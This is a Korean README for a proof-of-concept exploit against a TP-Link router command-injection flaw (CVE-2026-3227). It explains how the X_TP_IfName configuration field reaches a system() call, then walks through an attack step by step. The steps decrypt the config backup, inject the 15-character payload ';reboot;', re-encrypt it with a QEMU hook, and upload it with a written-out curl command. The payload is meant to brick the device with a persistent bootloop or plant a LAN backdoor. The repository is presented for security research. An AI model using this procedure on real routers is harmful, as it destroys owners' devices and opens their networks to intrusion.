
TP-Link 라우터 펌웨어에서 인증된 OS 명령어 삽입을 위한 개념 증명. 복호화, QEMU 기반 암호화 후크, 지속적 부트루프 또는 백도어 배포를 위한 15자 페이로드 생성을 포함합니다.
자세한 정보는 https://www.cve.org/CVERecord?id=CVE-2026-3227 를 참조하세요.
영구적이며 인증된 OS 명령 삽입 취약점으로, TP-Link 라우터 펌웨어에서 기기를 벽돌로 만들거나 LAN 장악이 가능합니다.
면책 조항: 이 저장소는 패치된 취약점에 대한 개념 증명(PoC) 코드를 포함하고 있습니다. 교육 목적 및 보안 연구자들을 위해 제공됩니다.
여러 TP-Link 라우터(TL-WR802N, TL-WR841N, TL-WR840N 포함)의 구성 백업/복원 메커니즘에서 명령 삽입 취약점이 존재합니다. 관리자 권한을 가진 공격자는 라우터의 구성을 다운로드하고, 이를 복호화한 후 특정 XML 필드에 악의적인 OS 명령(최대 15자)을 삽입하고, 다시 암호화하여 장치에 업로드할 수 있습니다.
라우터가 구성을 적용할 때(예: 포트 트리거 이벤트 발생 시 또는 시작 시), 삽입된 페이로드가 root 권한으로 실행됩니다. 이를 사용하여 지속적인 부트루프를 유발하거나(공장 초기화에도 살아남아 기기를 영구적으로 벽돌 상태로 만듦) LAN 피벗을 위한 지속적인 백도어를 활성화할 수 있습니다.
라우터의 구성 백업 기능을 탐색하던 중, httpd 바이너리와 libcmm.so 라이브러리를 리버스 엔지니어링하여 구성 파일이 어떻게 암호화되고 파싱되는지 이해하기로 결정했습니다.
qemu-user를 사용하여 라우터의 아키텍처를 에뮬레이트하고, 런타임에 라우터의 원래 httpd 바이너리를 후킹했습니다(create_config.c). 이를 통해 Python PoC에서 라우터의 고유 암호화 함수를 직접 호출하여 원본 암호화 형식을 완벽하게 모방할 수 있었습니다.취약점은 제품이 암호화된 구성 블롭을 파싱하고 런타임에 적용하는 방식에 있습니다. 포트 트리거링 구성 경로에서, 구현체가 사용자 제어 가능한 필드를 사용하여 셸 명령을 구성하지만 적절한 검증이 이루어지지 않습니다.
구체적으로, oal_pt_addPortTrigger 함수는 다음을 호출합니다:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
%s 형식 문자열은 업로드된 XML 구성에서 직접 파싱된 인터페이스 문자열(X_TP_IfName)로 채워집니다.
실행 흐름:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger가 forward_parsePtOpenPort를 호출하여 포트 목록을 파싱합니다.iptables 명령 문자열을 구성하고 util_execSystem(system()을 래핑)을 통해 실행합니다.복호화된 XML을 다음과 같이 수정함으로써:
<X_TP_IfName val=";reboot;"/>
명령은 시작 시 인터페이스 초기화 중 또는 포트 트리거 이벤트 발생 시 실행됩니다. 페이로드는 15자로 제한되므로, 익스플로잇을 제작하려면 컴팩트한 명령 실행 기술이 필요합니다.
저작권이 있는 TP-Link 바이너리를 배포하지 않기 위해, 이 PoC는 사용자가 직접 라우터의 파일 시스템을 추출하여 사용자 정의 QEMU 후크를 통해 고유 암호화 라이브러리를 활용해야 합니다.
qemu-mipsel 및 크로스 컴파일러(gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>을 사용하여 추출된 펌웨어squashfs-root 디렉토리를 이 프로젝트의 python_utils/에 복사합니다.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin)을 다운로드합니다.python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root 권한으로 실행됩니다. ;reboot;를 사용한 경우, 라우터는 즉시 재시작되어 지속적인 부트루프 상태에 빠집니다.